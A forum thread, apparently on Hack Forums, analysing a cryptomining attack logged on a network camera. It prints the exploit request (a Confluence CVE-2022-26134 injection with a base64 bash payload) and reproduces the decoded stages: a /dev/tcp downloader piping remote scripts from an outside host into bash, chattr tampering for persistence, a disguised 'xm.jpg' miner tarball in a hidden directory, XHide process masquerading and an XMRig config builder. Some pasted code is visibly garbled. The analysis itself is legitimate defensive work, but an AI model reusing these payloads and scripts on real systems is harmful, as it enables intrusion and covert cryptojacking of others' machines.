

Forum:[Hack Forums](#)

Thread: [Malware Analysis of Cryptocurrency Miner](#)

Dystortion - March 5, 2024, 9:50 pm

Code ```

```
2024-03-01T11:55:45.392-05:00 axis-accc8e29df6a [ ERR    ] httpd[1926]: [core:error] [pid 1926:tid 1980757104] (78)File name too long: [client 128.199.191.104:43668] AH00036: access to /${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgplHsKCUIGUz0vIHJIYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PClkMSIKICAgIGV4ZWMgMzw+li9kZXlvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBIY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5lb3N0OiAke2hvc3R9XHJcbXxyXG4iID4mMwogICAgKHdoaWxlIHJIYWQgLXIgcHJvdG8gZWNoYm9yA+JjlgliRsljsgW1sgJGwgPT0gJCdcccicgXV0gJiYgYnJlYWVs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJslGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gKlbase64 -d|bash').start()")}] failed (filesystem path '/usr/html/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgplHsKCUIGUz0vIHJIYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PClkMSIKICAgIGV4ZWMgMzw+li9kZXlvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBIY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5lb3N0OiAke2hvc3R9XHJcbXxyXG4iID4mMwogICAgKHdoaWxlIHJIYWQgLXIgcHJvdG8gZWNoYm9yA+JjlgliRsljsgW1sgJGwgPT0gJCdcccicgXV0gJiYgYnJlYWVs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJslGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gKlbase64 -d|bash').start()")})`
```

```We're given this network log. First we see the timestamp, device name, what type of message it is, where its coming from (process name[pid], what error from the process it is, more error info... until we see the [client] part.

Code ```

```
2024-03-01T11:55:45.392-05:00 axis-accc8e29df6a [ERR] httpd[1926]: [core:error] [pid 1926:tid 1980757104] (78)File name too long: [client 128.199.191.104:43668]
```

the [client] is the requestor client, so where the request to the device came from.  
then theres the 'error reason', and the request that was received

one direction we can go, is looking at the request made, and asking 'what does this do?'  
so we pick a little part of the beginning of it up to where we see a command like eval() or command():

Code `/\${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval(`and toss it in google and see what pops up.

What comes up is cve-2022-26134 active exploitation of confluence, there's also a tryhackme box for this exact exploit.

we can go that route, see whats going on to make the vuln and exploit, but this device is literally just a network camera and isn't affected.

we can then look at the payload its sending by looking at the command() body. It appears to be a base64 encoded string, and at the end you'll see where its set to base64 -d and feed that to bash to run:

Code ```

```
command('bash','-c','echo
dnVybcGpIHsKCUIGUz0vIHJIYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4Z
WMgMzw+li9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBIY2hvIC1lbiAiR0VUIC8ke3F
1ZXJ5fSBIVFRQLzEuMFxyXG5lb3N0OiAke2hvc3R9XHJcbXxyXG4iID4mMwogICAgKHdoaWxIIHJIY
WQgLXIgbDsgZG8gZWNoYyA+JjlgliRsljsgW1sgJGwgPT0gJCdcccicgXV0gJiYgYnJIYW57IGRvbmU
gJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJslGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93L
nNofGJhc2gK|base64 -d|bash')
```
```

take that over to cyberchef, or decode yourself with base64 -d and you get:

```
```
vurl() {
 IFS=/ read -r proto x host query <<<"$1"
 exec 3<>"/dev/tcp/${host}/${PORT:-80}"
 echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
 (while read -r l; do echo >&2 "$l"; [[$l == $'\r']] && break; done && cat) <&3
 exec 3>&-
}
```vurl http://b.9-9-8.com/brysj/w.sh|bash
```

which is what the payload would execute on the system if it was able to get RCE.

it creates a function that builds and sends tcp requests with just bash functions, then sends that request for another script to run and executes the script

Code ```

```
#!/bin/bash
#variables
lspath=$(which ls)
domain=$(echo Yi45LTktOC5jb20K|base64 -d)
mainurl=$(echo aHR0cDovL2luOS05LTguY29tL2JyeXNqCg==|base64 -d)
#mv command
```

```
if [ -x /bin/chatrr ];then
    mv /bin/chatrr /bin/zzhcht
elif [ -x /usr/bin/chatrr ];then
    mv /usr/bin/chatrr /usr/bin/zzhcht
elif [ -x /usr/bin/zzhcht ];then
    export CHATTR=/usr/bin/zzhcht
elif [ -x /bin/zzhcht ];then
    export CHATTR=/bin/zzhcht
else
    if [ $(command -v yum) ];then
        yum -y reinstall e2fsprogs
        if [ -x /bin/chatrr ];then
            mv /bin/chatrr /bin/zzhcht
        elif [ -x /usr/bin/chatrr ];then
            mv /usr/bin/chatrr /usr/bin/zzhcht
        fi
    else
        apt-get -y reinstall e2fsprogs
        if [ -x /bin/chatrr ];then
            mv /bin/chatrr /bin/zzhcht
        elif [ -x /usr/bin/chatrr ];then
            mv /usr/bin/chatrr /usr/bin/zzhcht
        fi
    fi
fi
```

```

fi
fi
fi
if [ -x /bin/zzhcht ];then
    export CHATTR=/bin/zzhcht && cp $lspath /bin/chattr && /bin/zzhcht +ia /bin/chattr
elif [ -x /usr/bin/zzhcht ];then
    export CHATTR=/usr/bin/zzhcht && cp $lspath /usr/bin/chattr && /usr/bin/zzhcht
+ia /usr/bin/chattr
else
    export CHATTR=chattr
fi

```

```

vurl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $"r" ]] && break; done && cat ) <&3
    exec 3>&-
}

```

```

if [ "$(id -u)" = "0" ];then
vurl ${mainurl}/d/ar.sh |bash
else
vurl ${mainurl}/d/ai.sh |bash
fi

```

``` #2 Follow-up

So decoding this Code `${mainurl}/d/ai.sh` from Code `mainurl=$(echo aHR0cDovL2luOS05LTguY29tL2JyeXNqCg==|base64 -d)`

We get the URL to curl this Code `!/bin/bash`

```

echo 'here is ai.sh'
proxyip='5.180.174.211'
media_url=$(echo aHR0cDovL2luOS05LTguY29tL2JyeXNqL20veG0uanBnCg==|base64 -d)
check_exist()
{
if [-x /usr/bin/netstat -o /bin/netstat]
then
 netstat -an|grep EST|grep "$proxyip"|grep 80
 if [$? -eq 0]
 then
 echo "miner running"
 exit 1
 else
 echo "haha"
 fi
else
 echo "command not found"
fi
}
check_exist
vurl() {
 IFS=/ read -r proto x host query <<<"$1"

```

```

exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[$l == $'\r']] && break; done && cat) <&3
exec 3>&-
}
mkdir -p /var/tmp/.22 && cd /var/tmp/.22 && vurl $media_url >xm.jpg && tar -xf xm.jpg && chmod +x
start && ./start
Focusing on the final line where a filetype is mentioned along with a media_url Code vurl
$media_url >xm.jpgDecoding this Code media_url=$(echo
aHR0cDovL2luOS05LTguY29tL2JyeXNqL20veG0uanBnKg==|base64 -d)to 'wget' this 'xm.jpg' file
that obviously isn't a '.jpg'; Code wget http://b.9-9-8.com/brysj/m/xm.jpg.
Once that's downloaded, you always run 'file' on anything Code file xm.jpg which returns that it is a
'gzipped tarball' so we box it up to a '.gz', Code mv xm.jpg xm.jpg.gz then Code gunzip xm.jpg.gz
and 'file' once again on that file. Finally, extract the tarball with Code tar -xf xm.jpg #3 Follow-up

```

```

aarch64 create hide hide.c init mining mkcfg start x86_64
cat aarch64 - Obfuscated
cat create
Code ```
cho "#!/bin/sh
> $dir/logs
$dir/init.d
chmod 755 *
if test -r $dir/ra.pid; then
pid=$(cat $dir/ra.pid)
if \$(kill -CHLD \ $pid >/dev/null 2>&1)
then
exit 0
fi
fi
pkill -9 init
cd $dir
./mining &>/dev/null" > auto
echo "#!/bin/sh
if test -r $dir/SOS; then
pid=$(cat $dir/SOS)
if \$(kill -CHLD \ $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./init &>/dev/null" > init.d
chmod u+x auto init.d
sh -c "./auto > /dev/null 2>&1 &"
rm -f aarch64 x86_64 hide.c init.c start create
``` cat hide - Obfuscated
cat hide.c - Way to long to include here but it's a process faker utility called "XHide". It allows
execution of a program with a fake process name and optionally as a daemon
cat init - Obfuscated
cat miner
```#!/bin/bash
`pwd`/init

```

```

>logs
OS=`uname -m`
HIDE="sendmail: accepting connections"
if ["$OS" == "aarch64"]; then
 ./hide -s "$HIDE" ./mine --daemonized >>/dev/null &
fi
if ["$OS" == "x86_64"]; then
 ./hide -s "$HIDE" ./mine >>/dev/null &
fi
ps -ef|grep "sendmail: accepting connections"|grep -v grep|awk '{print $2}'|head -1 > ra.pid
```

```

[/code]

```
cat mkcfg
```

```
Code ```
```

```
cat mkcfg
```

```
#!/bin/bash
```

```
yellow='\e[1;33m'
```

```
white='\e[1;37m'
```

```
lightblue='\e[1;34m'
```

```
lightgreen='\e[1;32m'
```

```
lightpurple='\e[1;35m'
```

```
stopcolor='\e[m'
```

```
rm -f config.tes
```

```
SERVER=$1
```

```
WORKER=$2
```

```
WALLET=$3
```

```
if [ -z $WALLET ]; then
```

```
    echo -e $white" -----"
```

```
    echo -e $lightgreen" Script usage:"
```

```
    echo -e $lightblue" $0 <Server:Port> <Worker ID> <Your XMR Wallet>"
```

```
    echo -e $white" -----"
```

```
    exit 1
```

```
fi
```

```
echo "{
```

```
  \"api\": {
```

```
    \"id\": null,
```

```
    \"worker-id\": null
```

```
  },
```

```
  \"http\": {
```

```
    \"enabled\": false,
```

```
    \"host\": \"127.0.0.1\",
```

```
    \"port\": 0,
```

```
    \"access-token\": null,
```

```
    \"restricted\": true
```

```
  },
```

```
  \"autosave\": true,
```

```
  \"background\": false,
```

```
  \"colors\": false,
```

```
  \"randomx\": {
```

```
    \"init\": -1
```

```
  },
```

```
  \"cpu\": {
```

```
    \"enabled\": true,
```

```

    \"huge-pages\": true,
    \"hw-aes\": null,
    \"priority\": null,
    \"memory-pool\": false,
    \"asm\": true,
    \"cn\": [
        [1, -1],
        [1, -1],
        [1, -1],
        [1, -1],
        [1, -1],
        [1, -1],
        [1, -1],
        [1, -1],
        [1, -1],
        [1, -1],
        [1, -1],
        [1, -1]
    ],
    \"rx\": [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1],
    \"rx/wow\": [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1],
    \"cn/0\": false,
    \"rx/arg\": \"rx/wow\"
},
\"openc1\": {
    \"enabled\": false,
    \"cache\": true,
    \"loader\": null,
    \"platform\": \"AMD\"
},
\"donate-level\": 0,
\"donate-over-proxy\": 1,
\"log-file\": \"logs\",
\"pools\": [
    {
        \"algo\": null,
        \"coin\": null,
        \"url\": \"$SERVER\",
        \"user\": \"$WALLET\",
        \"pass\": \"$WORKER\",
        \"rig-id\": null,
        \"nicehash\": false,
        \"keepalive\": true,
        \"enabled\": true,
        \"tls\": false,
        \"tls-fingerprint\": null,
        \"daemon\": false,
        \"self-select\": null
    }
],
\"print-time\": 60,
\"retries\": 5,
\"retry-pause\": 5,

```

```
\\"syslog\\": false,
\\"user-agent\\": null,
\\"watch\\": true
}" > config.json
echo -e $white
echo -e " config.json has been created! "
echo -e $stopcolor
echo -e " Server      :"$lightblue $SERVER $stopcolor
echo -e " XMR Wallet :"$yellow $WALLET $stopcolor
echo -e " Worker ID  :"$lightpurple $WORKER $stopcolor
echo -e $stopcolor
```
```

```
cat start
```
```

```
#!/bin/bash
OS=`uname -m`
if [ "$OS" == "aarch64" ]; then
    cp aarch64 mine
fi
if [ "$OS" == "x86_64" ]; then
    cp x86_64 mine
fi
./hide
./create >>/dev/null &
```
```

```
/d/ar.sh
```

<https://paste.fo/7aeb00c68785> - Script